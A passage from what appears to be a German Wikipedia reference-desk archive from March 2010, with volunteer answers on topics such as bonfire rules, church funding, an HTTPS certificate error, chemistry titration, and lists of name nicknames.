Waldbrandstufen sind nicht nur auf den Sommer beschränkt, soll auch welche im Winter geben. Teilweise ist die auch lediglich in der Gemeindeordnung oder einer allgemeinen Brandschutzverordnung geregelt. Dazu kommt, ob es sich um allgemein zugängliches Privatgelände oder öffentlichen Grund handelt. Im ersten Fall gilt das BGB für die Nutzung fremden Eigentums, wonach aus einem stillschweigenden Wegerecht keine weiteren Nutzungen abzuleiten sind. Und natürlich ist das Problem bei Lagerfeuern neben dem Brandschutz vor allem, wer räumt die Glutreste und den sonstigen Müll weg. Denn da liegen meist die kostenaufwändigen Folgen, um die man sich streitet.Oliver S.Y. 21:11, 23. Mär. 2010 (CET)
immer mal wieder: Laub verbrennen im Garten
Hier in der Gegend wird das von den Gemeinden jedes Jahr neu festgelegt. Mal ist das Verbrennen von Bauholz erlaubt, im nächsten Jahr wieder darf man Baumholz verbrennen. Wenn es dann zu sehr qualmt, kann schon die Feuerwehr erscheinen, man sollte einen guten Kontakt dorthin haben ;) --Marcela 21:21, 23. Mär. 2010 (CET)
In manchen, sonst atheistisch geprägten Regionen, sollen ja deshalb auch Osterfeuer und Sommerwendfeuer besonders beliebt sein^^, weil man da diesen Holzmüll (und wohl auch Sperrmüll) kontrolliert mit viel Spaß gemeinsam entsorgen kann. ^^ - aber das könnten ggf. die selben Gemeinden sein, die Ralf meint.Oliver S.Y. 21:29, 23. Mär. 2010 (CET)
<offtopic> In Finnland würde man gesteinigt, wenn das Juhannus-Feuer aus Abfällen gemacht würde ;) --Marcela 21:48, 23. Mär. 2010 (CET)

Komische Rechenspiele

Ich habe gerade eine Zusammenfassung zum Thema extremistische Straftaten gelesen. Anscheinden gab es letztes Jahr um die 360 rechtsextremistische Gewalttaten gegen Ausländer. Insgesammt aber 19400 rechtsextremistische Straftaten. Haben die 19tausend mal den Arm gehoben, sind das größtenteils Straftaten im Internet oder was kann ich mir darunter vorstellen? (Am Besten wäre natürlich ein Link auf die ursprüngliche Statistik) --81.200.198.20 15:06, 23. Mär. 2010 (CET)

Noch nicht ganz vollständig, aber die Verteilung wird klar: http://www.petrapau.de/16_bundestag/dok/down/2009_zf-rechtsextreme-straftaten.pdf. Der erhobene Arm, das Hakenkreuz, die Schulhof-CD, ... --Eike 15:29, 23. Mär. 2010 (CET)

Netzwerk-verbindungs-probleme

Obwohl bester Empfang mittels WLAN werden Netzseiten frustrierend langsam aufgebaut. Folgende Fehlermeldung: HTTPS: Fehler 12037 beim Herstellen der Verbindung mit www.passport.net: The date in the certificate is invalid or has expired Kann mich jemand beratschlagen?--91.14.64.181 15:32, 23. Mär. 2010 (CET)

das ist n fehler beim http server... da solltest du bei denen (passport.net) nachfragen, wenn s dir wichtig genug iss... --Heimschützenzentrum (?) 15:38, 23. Mär. 2010 (CET)
nun ja - was fürn datum hast du denn auf deinem rechner? also für mich ist das zertifikat gültig bis mitte 2010... --Heimschützenzentrum (?) 15:41, 23. Mär. 2010 (CET)
Lease läuft am 2.4.10 ab, Datum ist das aktuelle, habe mir auf Empfehlung eines Forums hin auch da Programm Network Stumbler heruntergeladen, weiß aber nicht recht was das mir laiienhaften Netzwerkstümperers zu leisten vermag.--91.14.64.181 15:46, 23. Mär. 2010 (CET)
Grundsätzlich: HTTPS-Server senden dir (deinem Browser) beim ersten Mal des Aufrufens einer entsprechenden Seite ein Zertifikat, das du bestätigen musst um, über eine dann sichere Verbindung, auf die Inhalte zugreifen zu können. Es kann da bei der Übertragung natürlich etwas schiefgehen. Und auch beim Speichern in deinem Certificate Store (Oops! Rot? Zertifikatsspeicher vielleicht? Auch? Dann Digitales Zertifikat). Versuch mal das Zertifikat dort zu löschen und es neu zu bestätigen. (Betriebssystem und Browser zu kennen wäre von Vorteil, um dir detaillierter weiterhelfen zu können.) --Geri 17:09, 23. Mär. 2010 (CET)
PS: Obwohl die Übertragung via HTTPS, aufgrund der Verschlüsselung und des vermehrten Overheads bei den Daten, natürlich etwas langsamer vonstatten geht, sollte das i.A. nicht frustrierend langsamer geschehen. --Geri 17:16, 23. Mär. 2010 (CET)

Titration von Natronlauge

hallo ich möchte gerne die reaktionsgleichung von der titration von natronlauge wissen! Den Ansatz habe ich schon, komme aber nicht weiter: Cl+H3O+Na+OH --> weiter weiß ich nicht. bitte um rückmeldung (nicht signierter Beitrag von 91.51.45.251 (Diskussion | Beiträge) 17:24, 23. Mär. 2010 (CET))

Hier fehlt es schon im Ansatz an allen Grundlagen; vielleicht hilft dafür erst mal der Artikel Säure-Base-Titration etwas weiter. Gruß -- Dr.cueppers - Disk. 17:32, 23. Mär. 2010 (CET)
Es fehlt, dass Cl und OH negativ geladen, H3O und Na positiv geladen sind. Wenn nun H3O+ und OH- zusammentreffen, werden daraus durch Austausch eines H+ zwei Wassermoleküle. Die übrigen Ionen bleiben, wie der Name schon sagt, übrig. Hilft dir das weiter? --Sr. F 19:09, 23. Mär. 2010 (CET)
Gefragt war nach der Titration "von" Natronlauge; der Ansatz beschreibt die Titration "von" Salzsäure (mit Natronlauge). Gruß -- Dr.cueppers - Disk. 19:17, 23. Mär. 2010 (CET)
Die Gleichung ist aber dieselbe. --Sr. F 19:55, 23. Mär. 2010 (CET)
Das schmälert in keinster Weise den Wahrheitswert der allerersten Antwort auf die Frage. Richtig ist hingegen, dass es den Ionen relativ egal ist, wer zuerst da war. Sind die Reaktionspartner vorhanden, dann passiert es eben, andernfalls nicht. -- Grottenolm 23:35, 23. Mär. 2010 (CET)

Konsonantenhäufungen im Wolof

Wie viele verschiedene Konsonantenhäufungen gibt es im Wolof? --84.61.146.104 19:09, 23. Mär. 2010 (CET)

Es geht wohl um Wolof. --HAL 9000 22:08, 23. Mär. 2010 (CET)

Frage zur Geschichte des ersten Flutlichtspieles beim Fussball

Weitergeleitet aus der Diskussion von Flutlicht: Waren die damaligen Lampen 1878 von Siemens oder Bosch ?? In der Versionsgeschichte steht beides... Google sagt mir auch nur das die Generatoren von Siemens waren.

Meine Frage deshalb hier weil ich die antwort dringend bräuchte, beim Artikel Flutlicht könnte es vermutlich länger dauern.

Danke schonmal vorab !!!--Flizzzy 20:37, 23. Mär. 2010 (CET)

Wenn das Flutballspiel 1878 war und Du mit "Bosch" die Firma meinst, die 1886 gegründet wurde, dann wäre es für die Spielveranstalter damals wohl leichter gewesen, die Marke Siemens zu wählen. BerlinerSchule 21:21, 23. Mär. 2010 (CET)

Ja aber das gibt mir die Versionsgeschichte her die erst vor kurzem geändert wurde... deshalb war ich etwas verwirrt zumal google nicht sehr aufschlussreif ist...!--Flizzzy 21:45, 23. Mär. 2010 (CET)

Ja, nicht dass wir uns da falsch verstehen. Ich möchte weder Werbung für die Lampen von Siemens machen noch irgendetwas gegen die Lampen von Bosch sagen. Ich bin mir ganz im Gegenteil sicher, dass die Lampen von Bosch ebenfalls sehr gut sind. Wenn ich jetzt entscheiden sollte, welche Lampen ich für das Fußballspiel unter Flutlicht - nennen wir es kurz das Flutballspiel; so heißt es natürlich nicht, aber es ist eben kürzer als Fußballspiel unter Flutlicht, obwohl sicherlich beide neunzig Minuten dauern, wenn der Ball rund ist, was ich sagen wollte, sollte ich entscheiden müssen, ob für das Flutballspiel (ja, durch diese schlaue Zusammenziehung haben wir etliche Buchstaben eingespart!) im Jahre 1878 lieber die Lampen von Siemens oder lieber die Lampen von Bosch eingesetzt werden sollen, dann wüsste ich wirklich keinen Rat. Weil eben die Lampen beider Hersteller von ausgezeichneter Qualität sind. Wenn man sehr kritisch an die Sache rangehen möchte, könnte man natürlich darauf hinweisen, dass Herr Bosch damals 17 Jahre alt war, also so helle, wie man in dem Alter sein kann. Ich will jetzt auch nicht sagen, dass er vielleicht weniger Erfahrung hatte - immerhin war er im Jahre 1878 schon Lehrling! Also auch unter dem Gesichtspunkt geht es aus wie das Hornberger Schießen im Dunkeln, nämlich mit Schrot in Körperstellen, in denen man gar keinen Schrot - das spricht also für keinen, wollte sagen, eigentlich für beide. Nur wenn, aber auch wirklich nur dann, wenn (wenn!) auch die Lieferzeit für die Veranstalter wichtig sein sollte, dann würde man vielleicht, ohne jetzt den Robert irgendwie beleidigen zu wollen, für diesesmal doch ausnahmsweise ein paar Birnchen vom Siemens nehmen. Weil wenn der Bosch Robert seine Firma erst acht Jahre später aufmacht und dann muss man auch immer noch eine Woche dazurechnen, die ersten Tage nach einer Firmengründung sind fast immer a weng chaotisch und dann verzögert sich die Lieferung nochmal, dann ist der Anstoß vom Fußball - oder wir hatten ja eigentlich vereinbart Flutball zu sagen - also der Anstoß vom Flutball mit dem Bosch seine Lampen vielleicht nicht viel später, aber mit dem Siemens seine Fluter die kommen halt eine Woche und acht Jahre früher und man weiß ja, wie ungeduldig so ein Fußballpublikum werden kann! BerlinerSchule 23:11, 23. Mär. 2010 (CET)
Grell. --Aalfons 23:14, 23. Mär. 2010 (CET)
Gell? BerlinerSchule 23:20, 23. Mär. 2010 (CET)
Flutball wurde nur ein einziges Mal, am 12. Juni 1981 nahe Westerland vor Sylt gespielt. Mit dem Einsetzen der Ebbe trieben beide Mannschaften leider langsam hinaus in die Nordsee und waren nicht mehr gesehen. Von weiteren Versuchen, das Spiel in Europa einzuführen, hat man daraufhin Abstand genommen. Der mutmaßliche Ausgang des Spiels wurde im Nachhinein einvernehmlich als "unentschieden" gewertet. --84.191.51.103 01:21, 24. Mär. 2010 (CET)

Gladbeck: Nur über kreisfreies Gebiet erreichbar?

Ist Gladbeck die einzige kreisangehörige Gemeinde in Deutschland, die nur über kreisfreies Gebiet zu erreichen ist? --84.61.146.104 22:32, 23. Mär. 2010 (CET)

Nein, da Gladbeck eine gemeinsame Grenze mit der kreisangehörigen Stadt Dorsten hat. --Gnu1742 23:12, 23. Mär. 2010 (CET)

Zwar angrenzend, aber auch der Nordteil des Landkreis Potsdam-Mittelmark ist nur über die Havelbrücken der kreisfreien Stadt Brandenburg zu erreichen. Das betrifft dann auch mehrere Gemeinden, aber passt wohl zur Problemstellung.Oliver S.Y. 23:18, 23. Mär. 2010 (CET)

Gibt's auch umgekehrt: Landau in der Pfalz. --20% 01:06, 24. Mär. 2010 (CET)

Kirchenaustritte und Ihre Gründe: Werden Bischöfe vom Staat bezahlt?

Momentan ja heiß diskutiert: Stimmt es wirklich, dass die Bischöfe ein Miniterpräsidentengehalt vom Staat gezahlt bekommen? Wäre ja eine unglaubliche unverschämtheit. Oder ist es doch nur einfach so, dass die Amtskirche das staatliche Entlohnungssystem 1:1 übernommen hat? So habe ich auch schon gehört, Priester würden nach A13 bezahlt. Rolz-reus 10:44, 22. Mär. 2010 (CET)

Im Falle des Badischen Konkordates ist es der Fall das Bischöfe und Domkapitel vom Land BaWü bezahlt werden. Das kommt immer auf den Staatskirchenvertrag an. Wie hoch das gehalt ist weiß ich allerdings nicht. -- PogoEngel 11:06, 22. Mär. 2010 (CET)
In Bayern auch. Diese Seite schreibt mehr drüber: http://www.stop-kirchensubventionen.de/bischoefe.html . Die Verträge mit den Kirchen stammen aus der Zeit der Säkularisierung, und da wurden im Austausch gegen den Grundbesitz der Kirche halt solche Dinger rein geschrieben. Rom darf auch an etlichen deutschen Universitäten mitbestimmen wer in Theologischen Fächern Prof wird.--134.2.3.103 11:09, 22. Mär. 2010 (CET)
Ohne die Zustimmung von Rom wird niemand Professor an einer (kath) Theologischen Fakultät (Nihil Obstat). Siehe auch Kirchliche Lehrerlaubnis, Missio canonica -- PogoEngel 11:13, 22. Mär. 2010 (CET)
Es geht aber bei den Konkordatslehrstühlen um Lehrstühle außerhalb der Theologischen Fakultät.--134.2.3.103 11:17, 22. Mär. 2010 (CET)
Die Inhaberin des Freiburger Konkordatslehrstuhl bei den Historikern ist glaube ich eine evangelische Professorin. Ist aber eigentlich auch egal... -- PogoEngel 11:21, 22. Mär. 2010 (CET)+
Ich wollte gerade nachschauen, was "nihil obstat" heißt, und habe festgestellt, dass Nihil obstat und Nihil Obstat Redirects auf verschiedene Artikel sind. Sollte das geändert werden? --Eike 12:13, 23. Mär. 2010 (CET)
Ich habe Nihil Obstat angepasst. In dem ursprünglich verlinkten Zielartikel taucht der Begriff nicht auf. --Zinnmann d 14:48, 23. Mär. 2010 (CET)
Nochmal zur Grundfrage. Priester erhalten in den meisten Bistümern ein Gehalt um A13 (wie andere Akademiker wohl auch), aber sie bekommen das Geld nicht vom Land/Staat sondern vom Bistum, wie alle anderen Kirchenangestelten auch... Im Übrigen gilt das nicht nur für Katholiken. -- PogoEngel 15:07, 22. Mär. 2010 (CET)
Diese „unglaubliche unverschämtheit“ ist eine Tatsache. Und diese ganzen Konkordate und Staatskirchenverträge stammen keineswegs alle aus der Zeit der Säkularisierung, Baden-Württemberg hat noch 2007 einen solchen Vertrag mit den evangelischen Landeskirchen abgeschlossen. Das zu NS-Zeiten mit dem Vatikan abgeschlossene Reichskonkordat ist auch immer noch in Kraft. Ganz interessant, was die Kirchen sich da für Privilegien zusichern lassen. Trennung von Staat und Kirche? In Deutschland nur ansatzweise. -- Rosenzweig δ 22:05, 22. Mär. 2010 (CET)
Wenn man bedenkt das die Kirchen den Großteil der Sozialen Versorgung, vom Kindergarten bis zum Hospitz schultert und somit den Staat von seinen Pflichten befreit ist das nur all zu verständlich. Ohne die Kirchen würde der Staat die soziale Versorgung in allen Lebenslage überhaupt nicht schultern können. Da würde es hier in Deutschland ziemlich armselig ausschauen.-- Heimli Hier werden Sie geholfen! 09:48, 23. Mär. 2010 (CET)
Aber gerade das stimmt doch überhaupt nicht! Meinst Du denn wirklich die AOK und die anderen Krankenkassen zahlen an ein katholisches Krankenhaus geringere Tagessätze weil im Flur noch ein paar Nonnen rumrennen? Und ein Kindergarten an dem evangelisch dransteht, der wird auch zu 90 Prozent von der Kommune bezahlt. Für die 10 Prozent die die Kirche zahlt, darf sie dann aber auch bestimmen, dass in wilder Ehe lebende Kindergärtnerinnen oder moslemische Putzfrauen hier nicht arbeiten dürfen. Rolz-reus 10:32, 23. Mär. 2010 (CET)
Selbst wenn deine Zahlen von pauschal 90 % stimmen. Ist das Staat und die Kommunen froh diese nicht bezahlen zu müssen. Dann kann man die 10 % auf alle Einrichtungen hochrechnen... Zudem zählen zu den größten Arbeitgeber der BRD Caritas und Diakonie. Welche allerdings auch staatl. Mittel erhalten (aber keine 90%) -- PogoEngel 11:23, 23. Mär. 2010 (CET)
Dazu hier (weiter unten im Artikel) einige Zahlen von 1993. An denen dürfte sich wenig geändert haben. -- Rosenzweig δ 14:22, 23. Mär. 2010 (CET)
Ja haben sie sich Deutscher Caritasverband#Finanzierung -- PogoEngel 15:05, 23. Mär. 2010 (CET)
Allerdings glaube ich die Veränderungen der Zahlen liegt daran dass die Caritas gewachsen ist, denn immer mehr Sozialeinrichtungen die von Orden betreut werden, werden in die Caritas "überführt" weil die meisten Orden sich den Unterhalt mangels Mitglieder nicht mehr leisten können. -- PogoEngel 15:09, 23. Mär. 2010 (CET)

Die deutschen Kirchen dürften also im Geld schwimmen, nicht nur dass ihnen dort die Bischöfe vom Staat bezahlt werden, sondern die kirchensteuer ist auch weit höher als bei uns. Zu den sozialen Aufgaben: es ist durchaus auch möglich, dass der Staat die direkt finanziert oder betreibt, da ist nicht unbedingt der Umweg über die Kirche, die ja auch nur einen teil ihrer Einnahmen für soziale Zwecke verwendet, notwendig. z.B. in Wien sind soviel ich weiß ca. 90% aller Kindergärten öffentliche Kindergärten, daher von der Stadt Wien. --MrBurns 08:12, 24. Mär. 2010 (CET)

Burns, bitte beim Thema bleiben.--91.56.204.158 08:19, 24. Mär. 2010 (CET)
Mein Beitrag posst eh zum thema. Es geht darum, dass der Staat der Kirche nicht irgendwas bezahlen muß, damit diese Sozialleistungen übernehmen kann. Außerdem wieso beschwerst du dich immer nur bei mir, dass ich vom Thema abweiche, es gibt genug andere User auf der Auskunft, die das auch tun, aber bei denen beschwerst du dich nie. Wenn du so weiter machst, werd ich irgendwann eine Vandalismusmledung machen und zwar für die agnze Range 91.56.*, weil die IP ändert sich etwas innerhalb dieser Range. --MrBurns 08:25, 24. Mär. 2010 (CET)

GTA:SA Screencast

Moin,

kennt jemand nen Tool für WinXP, das bei guten Frameraten GTA:SA aufzeichnen kann?

LG --93.104.107.41 21:02, 22. Mär. 2010 (CET)

KLM:NO Plong. --HaSee 07:18, 23. Mär. 2010 (CET)
Fraps dürfte bei jedem Windows-Spiel funktionieren. --MrBurns 08:14, 24. Mär. 2010 (CET)

Himmlische Boten

Hat man einen Meteoriten oder Bruchstücke eines Asteroiden auf der Erde kann man die Zusammensetzung sehr schön untersuchen. Ist er noch oben, ist es nicht ganz so einfach.

  • Frage: Welche Elemente jenseits der Ordnungszahl 18 (Ar) (= höher als 18) lassen sich in bewegten A. oder M. feststellen? Welche Methoden liefern diese Daten und wo sind die Nachweisgrenzen? (Muss mich an die Wissenden wenden, da meine eigene Suche durch die auf der Erde generierten Daten verunreinigt wird). G! GG nil nisi bene 12:31, 23. Mär. 2010 (CET)
Allgemein Spektroskopie. Das können alle möglichen Elemente sein. Vermute dass diejenigen Papers, die den Vorbeiflug an solchen Objekten behandeln, am ausgiebigsten sind, also Thema Vorbeiflugsonde. Hier kann man am genauesten beobachten. Andererseits werden auch die nahe vorbei fliegenden Objekte einer Untersuchung durch diverse Projekte unterzogen, die Zeit ist aber sehr kurz für Abmessung via Radiowellen und vielleicht Laserspektroskopie. Schlussendlich dann astronomische Beobachtungen, bei denen aber zu beachten ist, dass Sonnenlicht reflektiert wird und daher gewisse Spektrallinien bereits fehlen.
Mein Tip also: Google Scholar mit: Giotto, ISEE-3/ICE, Deep Impact, Deep Space etc. --Ayacop 16:09, 23. Mär. 2010 (CET)
Danke, das sind Anhaltspunkte, werde suchen. Vielleicht fällt etwas für den Artikel ab. G! GG nil nisi bene 09:21, 24. Mär. 2010 (CET)

DMAX und TIMM

Sind DMAX und TIMM Vollprogramme? --84.61.146.104 18:39, 23. Mär. 2010 (CET)

Vollprogramm, Spartenprogramm. War das so schwer? --77.177.45.94 18:50, 23. Mär. 2010 (CET)

Meines Wissens nach sind entgegen landläufiger Meinung auch DMAX und TIMM Vollprogramme. --84.61.146.104 19:45, 23. Mär. 2010 (CET)

Warum fragst du Dinge, die du ohnehin schon zu wissen glaubst? --77.177.45.94 19:53, 23. Mär. 2010 (CET)

TIMM ist unter Vollprogramm eingetragen und DMAX ist unter Spartenprogramm zu finden. Wenn beides Vollprogramm sind wäre ein Eintrag falsch. Wer es genau weiss möge es korrigieren wenn man es überhaupt muss. --Netpilots 20:20, 23. Mär. 2010 (CET)

DMAX ist ein Vollprogramm: [8] --84.61.146.104 20:47, 23. Mär. 2010 (CET)

...nach eigener Darstellung, d.h. er verfügt über ein rudimentäres Alibi-Nachrichtenprogramm usw. So sinnvoll ist also die Unterscheidung zwischen Sparten- und Vollprogrammen. Schön und gut, nochmal: Warum belästigst du uns hier mit Fragen, die du selbst so hübsch beantworten kannst? --77.177.45.94 21:01, 23. Mär. 2010 (CET)
Weil die Auskunft nunmal für Fragen da ist und er sich wahrscheinlich weiterführende Antworten erhofft hat. Kein Grund Fragesteller zu beschimpfen, weil sie Fragen stellen. Wenn du dich belästigt fühlst, dann lass das Antworten einfach. Grüße -- Kpisimon 12:23, 24. Mär. 2010 (CET)

Was tut diese Turbine?

Hallo ans Wikipedia_Team, es wäre sehr wichtig für mich, zu wissen, was genau diese Turbine tut, deren Foto ich bei einer Bildagentur gefunden habe. Link zur Ansicht: http://www.shutterstock.com/pic.mhtml?id=48598072 . Arbeitet sie tatsächlich mit Luft/Wind? Was bewirkt sie? Herzlichen Dank vorab für Ihre Hilfe! --217.233.224.74 22:15, 23. Mär. 2010 (CET)

Wieso Turbine? Fan heißt Ventilator, Flügelrad, Lüfterrad oder so. Turbinen wandeln Energie um, hier nix davon zu sehen, imho. --Aalfons 23:21, 23. Mär. 2010 (CET)
Wird wohl 'ne Schneekanone sein. --Kalumet.RM Kommentare? 23:34, 23. Mär. 2010 (CET)
Well done. --Aalfons 08:50, 24. Mär. 2010 (CET)
So eine Maschine kann auch durchaus kreativ eingesetzt werden. --Kalumet.RM Kommentare? 09:08, 24. Mär. 2010 (CET)

Sind Steuern die einzige Einkommesquelle des dt. Staates?

Hat die BRD irgendwelchen anderen Geldquellen? Die katholische Kirche beispielsweise finanziert sich ja auch nicht komplett über die Kirchensteuer, sondern verpachtet z.B. Gründstücke usw. --84.146.191.164 00:52, 24. Mär. 2010 (CET)

Nicht alle Pflichtzahlungen sind Steuern, siehe Abgabe. Daneben betreibt der Bund auch wirtschaftliche Aktivitäten, siehe Bundesanstalt für Immobilienaufgaben, Verwertungsunternehmen des Bundes u.a. --20% 00:57, 24. Mär. 2010 (CET)
Siehe z.B. http://www.bundesfinanzministerium.de/bundeshaushalt2008/html/vsp2i-d.html --08-15 00:58, 24. Mär. 2010 (CET)#
Achso. Der Link selbst ist zwar nicht besonders hilfreich da dort kryptisch von "Verwaltungseinnahmen" und "Übrige Einnahmen" die Rede ist, aber auf der Seite findet sich was erhellendes: Siehe E, wie Einnahmen. Da ist von Einnahmen aus Veranstaltungen, Erlöse aus der Veräußerung von unbeweglichen Sachen etc. die Rede... --84.146.191.164 01:04, 24. Mär. 2010 (CET)
...und wird wohl IP 84.146.191.164 noch in weitere Fragen verpacken, dass er die Kirche scheiße findet? --Eike 01:07, 24. Mär. 2010 (CET)
@Eike: ::Da muss ich grinsen, ich wusste dass das kommt. Nein, ich hab mich etwas in die Finanzierung von Kirchen vertieft, und das sind Nebenfragen, die dabei aufgekommen sind. Aber danke für sehr taktvoll formulierten Vorwurf ;) --84.146.191.164 01:12, 24. Mär. 2010 (CET)
Für deine weitere Recherche spendiere ich einen Link zu einem Kirchenfinanzierungsfachforum: [9]. ;-) Joyborg 01:24, 24. Mär. 2010 (CET)
Ähm danke, aber von meinen drei Fragen berührt gerademal eine dieses Thema. Die zwei anderen befassen sich mit der Verfassung bzw. den Einnahmen des Staates. --84.146.191.164 01:36, 24. Mär. 2010 (CET)
Zurück zu den Einnahmen des Staates:
Sollten mal wirklich gegen Ende des Geldes noch ein paar Monate übrig sein, dann kann man immer noch was borgen gehen.
Wichtig ist dabei nur: Nie anderen etwas borgen, immer von anderen borgen. Was für einen Unterschied doch so ein kleines von machen kann... BerlinerSchule 01:11, 24. Mär. 2010 (CET)
Knöllchen als Einnahmequelle nicht vergessen und die Gebühren, die man für jedes Papierchen bezahlen muß. Zollgebühren, die allerdings nach Brüssel gehen. Lkw-Maut ist auch nicht zu verachten, wie auch die Gewinne der Bahn und Bundesbank.--91.56.204.158 07:59, 24. Mär. 2010 (CET)

Voraussetzungen für einen mobilen Verkaufsstand

Hallo Expertenrunde, bei dem beginnenden Frühlingswetter kam uns die Idee, im Sommer einen kleinen Stand mit gekühlten Getränken auf Volksfesten zu betreiben. Sind dafür eigentlich irgendwelche Genehmigungen (Hygenie, Gewerbe oder so) einzuholen? Falls nicht könnten wir ja einfach unseren Kühlhandwagen fertig machen und los laufen. Wäre schön! Danke für die Antworten und Gruß, Egon.

Das hängt sicherlich von den gesetzlichen und Verwaltungsvorschriften ab. Die aber sind bisher noch nicht ganz einheitlich auf dieser Welt. Deshalb ist es bei solchen Fragen immer sinnvoll, die entsprechende Gebietskörperschaft (Staat, Land, Kreis, Stadt, Kanton, Provinz und was dergleichen mehr sind) dazuzusagen. Dann kann Dir vielleicht jemand helfen. BerlinerSchule 13:04, 22. Mär. 2010 (CET)
Auf Volksfesten musst du natürlich erst mal einen Standplatz kriegen und ordentlich Standgebühr abdrücken.--134.2.3.103 13:05, 22. Mär. 2010 (CET)
Einfach auf dem Rathaus anrufen. Die können dir genau sagen welche Genemigungen du benötigst. --FNORD 13:33, 22. Mär. 2010 (CET)
Auf die Genehmigungen kann man auch verzichten, wenn man die Verkaufsstrategie so gestaltet. --91.56.134.93 14:46, 22. Mär. 2010 (CET)

Die Vorschriften dazu unterscheiden sich zum Teil kommunal. Allgemein musst du in D vermutlich immer eine Reisegewerbekarte haben, um mobil Getränke zu verkaufen. Wenn es auch alkoholische Getränke sein sollen, kommen noch einige Formulare dazu. Das Ganze erläutert dir, wie oben schon gesagt, deine freundliche Stadtverwaltung sicher gern. Beispiel Würzburg: [10]. Joyborg 21:18, 22. Mär. 2010 (CET)

Und natürlich sind beim Handel von Nahrungsmittel hygenische Vorschriften zu beachten, die jeweils von Landkreis zu Landkreis, teilweise von Stadt zu Stadt, also je nach Standort des Verkaufsstandes variieren.Heimli Hier werden Sie geholfen! 09:55, 23. Mär. 2010 (CET)

Es scheinen andere Personen zu sein. Was genau bedeutet der Titel? --Zulu55 13:07, 22. Mär. 2010 (CET)

Bundesvorsitzender ist das gleiche wie Parteivorsitzender. Generalsekretär ist etwas anderes. Was lässt Dich zweifeln? Gruß, --Wolli 13:18, 22. Mär. 2010 (CET)
hm, Stimmt, passt. --Zulu55 13:42, 22. Mär. 2010 (CET)
Neben dem Bundesvorsitzenden gibt es noch Parteivorsitzende in den einzelnen Bundesländern. Kurt Beck war z.B. beides, Bundesvorsitzender und zugleich Parteivorsitzender in Rheinland-Pfalz. Wie es beim jetzigen ist, weiß ich nicht, wie heißt der überhaupt mal?--91.56.203.76 08:29, 23. Mär. 2010 (CET)
Der jetzige Bundesvorsitzende der SPD heißt Sigmar Gabriel und ist nicht Vorsitzender eines Landesverbandes. --88.70.43.148 21:50, 24. Mär. 2010 (CET)

Liste von verbreiteten Nicknames

Hallo

vielleicht könnt ihr mir weiterhelfen: ich suche eine Liste mit verbreiteten Nicknamens für Personen, wenn möglich für verschiedene Sprachen/Kulturkreise. Z.B. ist im Englischen Bill oft eine Abkürzung für William und Dick für Richard. Es gibt aber noch eine ganze Menge weitere und ohne entsprechendes Hintergrundwissen ist es schwer sie selber zu erfassen. Wisst ihr ob in Netz solche Listen verfügbar sind? Ich hab erstmal nichts brauchbares gefunden.

--Sanim 08:39, 23. Mär. 2010 (CET)

Natalia --> Natascha (Russisch), José -> Pepe, Josefina -> Pepita (Spanisch), Anton -> Toni, Friedrich -> Fritz (D), Ulrich -> Ueli (Schweizerdeutsch), um mal nur ein paar Beispiele zu geben. -- Arcimboldo 08:45, 23. Mär. 2010 (CET)
Hier sind englische Nicknames. Wenn du die durch hast, machen wir die französischen... G! GG nil nisi bene 08:53, 23. Mär. 2010 (CET)
Hallo, soweit ich das sehe sind das aber Auflistungen von beliebigen Nicknames. Was mich interessiert sind solche die sehr häufig auftreten, wie eben die oben genannten. In etwa sowas wie eine 'Liste der 100 häufigst verwendeten Nicknames im Englischen'. Besonders interessiert bin ich dabei an Namen die von Person wirklich auch in der Öffentlichkeit geführt werden, z.B. tritt William Clinton in der Regel als Bill Clinton auf. Sanim 09:43, 23. Mär. 2010 (CET)
Bill, Bob, Jack, Joe ... Kannst du dir vorstellen, dass es in den Südstaaten andere Häufigkeiten als an der Ostküste gibt? Dass junge Damen am Elite-Colleges anders be-nicknamed werden als die Töchter der Farmer im Midwesten? Dass Chinese Americans und Hispanic Americans leicht unterschiedliche NNs haben? Hiermit kannst du sehen, welche Gruppierungen was bevorzugen. Hier kannst du die ganze Farbigkeit von nicknames (und Listen!) finden. Oder du rechnest dir die Häufigkeit der normalen Namen hier aus, machst eine Hitliste und ordnest dann den Nickname zu.
Und noch eine Möglichkeit: Du nimmst obige Namen (Bill (-law: 224 Mill.), Bob (208 Mill.), Jack (233 Mill.), Joe (217 Mill. - aus irgendeinem Grund weigere ich mich, auch nach "Dick" zu suchen...) und vergleichst Google-Hits... Voilà!. Und wie immer: Der Hintergrund der Frage wäre interessant... G! GG nil nisi bene 10:07, 23. Mär. 2010 (CET)
Ja, das kann ich mir gut vorstellen, deshalb auch die Frage nach verschiedenen Sprachen/Kulturen (damit meinetwegen auch Regionen). Ich kann jetzt natürlich die Listen, die in der englischsprachigen Wikipedia stehen Eintrag für Eintrag durchgehen und dann die häufigsten nehmen, aber ich hatte gehofft, dass solche Listen irgendwo schon fertig existieren und ich sie einfach nicht gefunden hätte. Es geht mir bei Nicknames (Ok, das war ich wohl ungenau) nicht um Dinge wie "The Admirable Doctor" für Roger Bacon sondern um Variationen bei Namensteilen (besonders dem Vornamen) die auch von den Personen in der Regel selber verwendet werden (wie z.B. Bill Clinton eben, der einen Nickname als Vornamen führt). Hintergrund ist ein Abgleich von Namen in Listen. Wenn man weiß, dass Richards of Dick genannt werden könnte man z.B. den Verdacht haben, dass ein Richard Meier und ein Dick Meier ein und die selber Person sind, die nur aus Versehen einmal unter ihrem bürgerlichen und einmal unter ihrem selbstbenutzten Namen auftreten. Solche Listen kann ich auch nicht mal eben selber machen, da mir dazu das Wissen zu verschiedenen Sprachen fehlt. Ich wäre z.B. nicht auf die Idee gekommen, dass Josefina -> Pepita ein häufig auftretendes Names-Paar ist. Sanim 11:35, 23. Mär. 2010 (CET)
Das gibt's aber nicht nur auf Englisch. Auch auf Deutsch gibt's viele Leute, die eigentlich z.B. Johann oder Josef heißen, in der Öffentlichkeit aber eher als Hans oder Pepi/Sepp bekannt sind. z.B. Hans Krankl oder Sepp Herberger. --MrBurns 10:27, 23. Mär. 2010 (CET)
Dazu aus Italien Gianna für Giovanna und Gianni für Giovanni. Einer der komischsten ist eigentlich der deutsche Hajo, bei dem die erste Silbe eigentlich schon ein Nickname war, wenn auch normalerweise schon auf dem Taufzeugnis. BerlinerSchule 13:36, 23. Mär. 2010 (CET)

